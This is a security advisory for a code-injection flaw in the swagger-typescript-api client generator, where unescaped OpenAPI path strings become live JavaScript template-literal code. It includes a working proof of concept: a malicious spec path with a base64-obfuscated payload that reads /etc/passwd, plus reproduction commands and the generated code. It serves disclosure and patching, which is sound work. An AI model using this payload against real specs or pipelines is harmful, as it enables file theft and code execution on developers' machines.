GHSA-W284-33MX-6G9V

Vulnerability from github – Published: 2026-07-29 14:35 – Updated: 2026-07-29 14:35
VLAI
Summary
swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies
Details

Summary

swagger-typescript-api interpolates OpenAPI path strings (the keys of the paths object, e.g. /users/{id}) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing ${ … } survives parseRouteName's {x} / :x rewriter verbatim and lands as live JS-template-literal interpolation inside the generated path: \...`` line. Any consumer who calls the affected generated method evaluates the attacker's expression with full importer privileges — file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.

Details

parseRouteName (src/schema-routes/schema-routes.ts:147-189) preprocesses spec paths by rewriting {x} and :x path-parameter patterns into ${x} JS template-literal interpolations:

const pathParamMatches = (routeName || "").match(
  /({[\w[\\\]^`][-_.\w]*})|(:[\w[\\\]^`][-_.\w]*:?)/g,
);
// ...
return fixedRoute.replace(pathParam.$match, `\${${insertion}}`);

The regex only matches { followed by word characters (and a closing }), or : followed by word characters. It does not strip backticks, ${, or backslashes. A spec path containing ${ ATTACKER_EXPRESSION } survives unchanged.

The resulting fixedRoute is passed to the procedure-call template at templates/default/procedure-call.ejs:96 (and the corresponding templates/modular/procedure-call.ejs:96):

path: `<%~ path %>`,

The <%~ %> is Eta's raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling ${…} inside the path becomes a live JS expression evaluated when the method's path template is evaluated — i.e. at every call to the affected method.

Generated method body for a malicious spec path:

evilCall: (params: RequestParams = {}) =>
  this.request<void, any>({
    path: `/api/${(async () => {
      // ATTACKER CODE EVALUATED HERE on every call to api.<...>.evilCall()
      // — full Node.js capabilities: dynamic import('node:fs'), child_process,
      //   network egress, environment access, etc.
    })()}/items`,
    method: "GET",
    ...params,
  }),

Biome (the codebase's formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.

Caveat for PoC construction: the path-param regex matches :x, so a literal : followed by a word character inside the spec path gets mangled into ${x}. This affects payloads that need to express node:fs. The workaround used in the PoC is Buffer.from('bm9kZTpmcw==','base64').toString() — base64 contains no :, decodes to 'node:fs' at runtime, and dodges the rewrite entirely.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → call method with stubbed this.request so there is no real network egress → check canary) is added in comments. Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Malicious OpenAPI path (literal string, JSON-encoded in the spec below):

/api/${(async()=>{ try { const m=Buffer.from('bm9kZTpmcw==','base64').toString(); const f=await import(m); const d=f.readFileSync('/etc/passwd','utf8'); f.writeFileSync('/tmp/sta_canary',d); } catch(e){} return 'x'; })()}/items

Minimal payload spec:

{
  "openapi": "3.0.0",
  "info": { "title": "PathPayloadAPI", "version": "1.0.0" },
  "servers": [{ "url": "https://api.example.com" }],
  "paths": {
    "/api/${(async()=>{try{const m=Buffer.from('bm9kZTpmcw==','base64').toString();const f=await import(m);const d=f.readFileSync('/etc/passwd','utf8');f.writeFileSync('/tmp/sta_canary',d);}catch(e){}return 'x';})()}/items": {
      "get": {
        "operationId": "evilCall",
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}

Steps:

npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
  const mod = await import('./out/Api.bundle.mjs');
  const api = new mod.Api();
  // Stub the request implementation so there is no real network call —
  // only the path template literal is evaluated, which is what fires the IIFE.
  api.request = async () => ({ ok: true });
  const group = api.api;
  await group[Object.keys(group)[0]]();
  await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (method body — payload, Biome-formatted):

evilCall: (params: RequestParams = {}) =>
  this.request<void, any>({
    path: `/api/${(async () => {
      try {
        const m = Buffer.from("bm9kZTpmcw==", "base64").toString();
        const f = await import(m);
        const d = f.readFileSync("/etc/passwd", "utf8");
        f.writeFileSync("/tmp/sta_canary", d);
      } catch (e) {}
      return "x";
    })()}/items`,
    method: "GET",
    ...params,
  }),

The IIFE is a real JavaScript expression inside the path template literal — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.

Result: after instantiating the generated Api and calling the affected method, /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (path "/api/users/{id}/items") generates path: \/api/users/${id}/items``, the IIFE never appears, and the canary is not written.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely:

  • sta generate --url https://attacker.example/openapi.json — a public, third-party, or attacker-hosted spec.
  • A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.
  • A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
  • Any project where a contributor can modify the pinned spec via pull request.

Lifecycle: the injected expression fires per method call — every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both httpClientType: "fetch" (default) and httpClientType: "axios", both default/ and modular/ template sets — any path-bearing operation in the spec is a candidate.

Privilege: the IIFE runs with the full privileges of the calling process — file read/write, network egress, environment access, child-process spawn, etc.

Suggested fix: sanitize the path string after parseRouteName finishes its {x} / :x rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the ${name} interpolations that parseRouteName deliberately introduces — any backtick, ${, or \ outside those deliberate interpolations should be escaped or rejected. Alternatively, change templates/default/procedure-call.ejs:96 (and templates/modular/procedure-call.ejs:96) to stop wrapping path in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.

Submitted by: Hamza Haroon (thegr1ffyn)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "swagger-typescript-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54666"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T14:35:02Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`swagger-typescript-api` interpolates OpenAPI path strings (the keys of the `paths` object, e.g. `/users/{id}`) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing `${ \u2026 }` survives `parseRouteName`\u0027s `{x}` / `:x` rewriter verbatim and lands as live JS-template-literal interpolation inside the generated `path: \\`...\\`` line. Any consumer who calls the affected generated method evaluates the attacker\u0027s expression with full importer privileges \u2014 file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.\n\n### Details\n\n`parseRouteName` (`src/schema-routes/schema-routes.ts:147-189`) preprocesses spec paths by rewriting `{x}` and `:x` path-parameter patterns into `${x}` JS template-literal interpolations:\n\n```ts\nconst pathParamMatches = (routeName || \"\").match(\n  /({[\\w[\\\\\\]^`][-_.\\w]*})|(:[\\w[\\\\\\]^`][-_.\\w]*:?)/g,\n);\n// ...\nreturn fixedRoute.replace(pathParam.$match, `\\${${insertion}}`);\n```\n\nThe regex only matches `{` followed by word characters (and a closing `}`), or `:` followed by word characters. **It does not strip backticks, `${`, or backslashes.** A spec path containing `${ ATTACKER_EXPRESSION }` survives unchanged.\n\nThe resulting `fixedRoute` is passed to the procedure-call template at `templates/default/procedure-call.ejs:96` (and the corresponding `templates/modular/procedure-call.ejs:96`):\n\n```ejs\npath: `\u003c%~ path %\u003e`,\n```\n\nThe `\u003c%~ %\u003e` is Eta\u0027s raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling `${\u2026}` inside the path becomes a live JS expression evaluated when the method\u0027s `path` template is evaluated \u2014 i.e. at every call to the affected method.\n\nGenerated method body for a malicious spec path:\n\n```ts\nevilCall: (params: RequestParams = {}) =\u003e\n  this.request\u003cvoid, any\u003e({\n    path: `/api/${(async () =\u003e {\n      // ATTACKER CODE EVALUATED HERE on every call to api.\u003c...\u003e.evilCall()\n      // \u2014 full Node.js capabilities: dynamic import(\u0027node:fs\u0027), child_process,\n      //   network egress, environment access, etc.\n    })()}/items`,\n    method: \"GET\",\n    ...params,\n  }),\n```\n\nBiome (the codebase\u0027s formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.\n\n**Caveat for PoC construction:** the path-param regex matches `:x`, so a literal `:` followed by a word character inside the spec path gets mangled into `${x}`. This affects payloads that need to express `node:fs`. The workaround used in the PoC is `Buffer.from(\u0027bm9kZTpmcw==\u0027,\u0027base64\u0027).toString()` \u2014 base64 contains no `:`, decodes to `\u0027node:fs\u0027` at runtime, and dodges the rewrite entirely.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package \u2192 generate from control + payload \u2192 bundle with esbuild \u2192 instantiate \u2192 call method with stubbed `this.request` so there is no real network egress \u2192 check canary) is added in comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious OpenAPI path** (literal string, JSON-encoded in the spec below):\n\n```\n/api/${(async()=\u003e{ try { const m=Buffer.from(\u0027bm9kZTpmcw==\u0027,\u0027base64\u0027).toString(); const f=await import(m); const d=f.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027); f.writeFileSync(\u0027/tmp/sta_canary\u0027,d); } catch(e){} return \u0027x\u0027; })()}/items\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"PathPayloadAPI\", \"version\": \"1.0.0\" },\n  \"servers\": [{ \"url\": \"https://api.example.com\" }],\n  \"paths\": {\n    \"/api/${(async()=\u003e{try{const m=Buffer.from(\u0027bm9kZTpmcw==\u0027,\u0027base64\u0027).toString();const f=await import(m);const d=f.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027);f.writeFileSync(\u0027/tmp/sta_canary\u0027,d);}catch(e){}return \u0027x\u0027;})()}/items\": {\n      \"get\": {\n        \"operationId\": \"evilCall\",\n        \"responses\": { \"200\": { \"description\": \"OK\" } }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n  name: \u0027Api.ts\u0027, output: process.cwd() + \u0027/out\u0027,\n  input: process.cwd() + \u0027/payload-spec.json\u0027, httpClientType: \u0027fetch\u0027\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --tsconfig-raw=\u0027{}\u0027 --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n  const mod = await import(\u0027./out/Api.bundle.mjs\u0027);\n  const api = new mod.Api();\n  // Stub the request implementation so there is no real network call \u2014\n  // only the path template literal is evaluated, which is what fires the IIFE.\n  api.request = async () =\u003e ({ ok: true });\n  const group = api.api;\n  await group[Object.keys(group)[0]]();\n  await new Promise(r =\u003e setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (method body \u2014 payload, Biome-formatted):**\n\n```ts\nevilCall: (params: RequestParams = {}) =\u003e\n  this.request\u003cvoid, any\u003e({\n    path: `/api/${(async () =\u003e {\n      try {\n        const m = Buffer.from(\"bm9kZTpmcw==\", \"base64\").toString();\n        const f = await import(m);\n        const d = f.readFileSync(\"/etc/passwd\", \"utf8\");\n        f.writeFileSync(\"/tmp/sta_canary\", d);\n      } catch (e) {}\n      return \"x\";\n    })()}/items`,\n    method: \"GET\",\n    ...params,\n  }),\n```\n\nThe IIFE is a real JavaScript expression inside the `path` template literal \u2014 Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.\n\n**Result:** after instantiating the generated `Api` and calling the affected method, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (path `\"/api/users/{id}/items\"`) generates `path: \\`/api/users/${id}/items\\``, the IIFE never appears, and the canary is not written.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` \u2014 a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via pull request.\n\n**Lifecycle:** the injected expression fires **per method call** \u2014 every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both `httpClientType: \"fetch\"` (default) and `httpClientType: \"axios\"`, both `default/` and `modular/` template sets \u2014 any path-bearing operation in the spec is a candidate.\n\n**Privilege:** the IIFE runs with the full privileges of the calling process \u2014 file read/write, network egress, environment access, child-process spawn, etc.\n\n**Suggested fix:** sanitize the path string after `parseRouteName` finishes its `{x}` / `:x` rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the `${name}` interpolations that `parseRouteName` deliberately introduces \u2014 any backtick, `${`, or `\\` outside those deliberate interpolations should be escaped or rejected. Alternatively, change `templates/default/procedure-call.ejs:96` (and `templates/modular/procedure-call.ejs:96`) to stop wrapping `path` in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-w284-33mx-6g9v",
  "modified": "2026-07-29T14:35:02Z",
  "published": "2026-07-29T14:35:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-w284-33mx-6g9v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/acacode/swagger-typescript-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…